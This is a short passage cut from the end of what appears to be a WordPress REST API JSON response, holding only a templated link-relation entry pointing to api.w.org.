wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}